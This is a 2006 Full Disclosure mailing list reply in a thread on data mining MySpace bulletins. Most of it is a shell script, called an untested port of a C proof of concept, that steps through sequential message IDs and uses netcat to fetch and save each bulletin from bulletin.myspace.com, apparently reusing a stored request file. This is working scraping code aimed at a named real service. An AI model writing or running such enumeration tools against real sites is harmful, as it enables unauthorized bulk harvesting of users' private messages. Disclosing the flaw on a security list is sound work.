Full Disclosure mailing list archives

Re: Data Mining Myspace Bulletins


From: <daylasoul () hush com>
Date: Sun, 02 Jul 2006 05:42:29 -0500

Or if you must use netcat don't use system() write a shell script.

================================================

#!/bin/sh

if [ $# != 2 ]; then
        echo "Usage: "$0" <start> <end>"
        exit 1
fi

if [ $1 -gt $2 ]; then
        echo "end must be greater than start"
        exit 2
fi

recs=$(( $2-$1+1 ))

for (( i=0; i<recs; i++ )); do
        echo "GET
/index.cfm?fuseaction=bulletin.read&messageID="$(($i+$1))".lf
HTTP/1.1" > new_request.txt
        cat request.txt >> new_request.txt
        echo "Downloading bulletin #"$(($i))" of "$(($recs - 1))"
"$(($recs-$i-1))" remaining"
        nc -w2 bulletin.myspace.com 80 < new_request.txt >
bulletin/$(($i+$1)).lf.html
done

================================================

Untested 5 minute hack but should work identically to the C PoC.

Please keep conversations on the topic of computer security, and 
use English as a primary language.




Concerned about your privacy? Instantly send FREE secure email, no account required
http://www.hushmail.com/send?l=480

Get the best prices on SSL certificates from Hushmail
https://www.hushssl.com?l=485

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Current thread: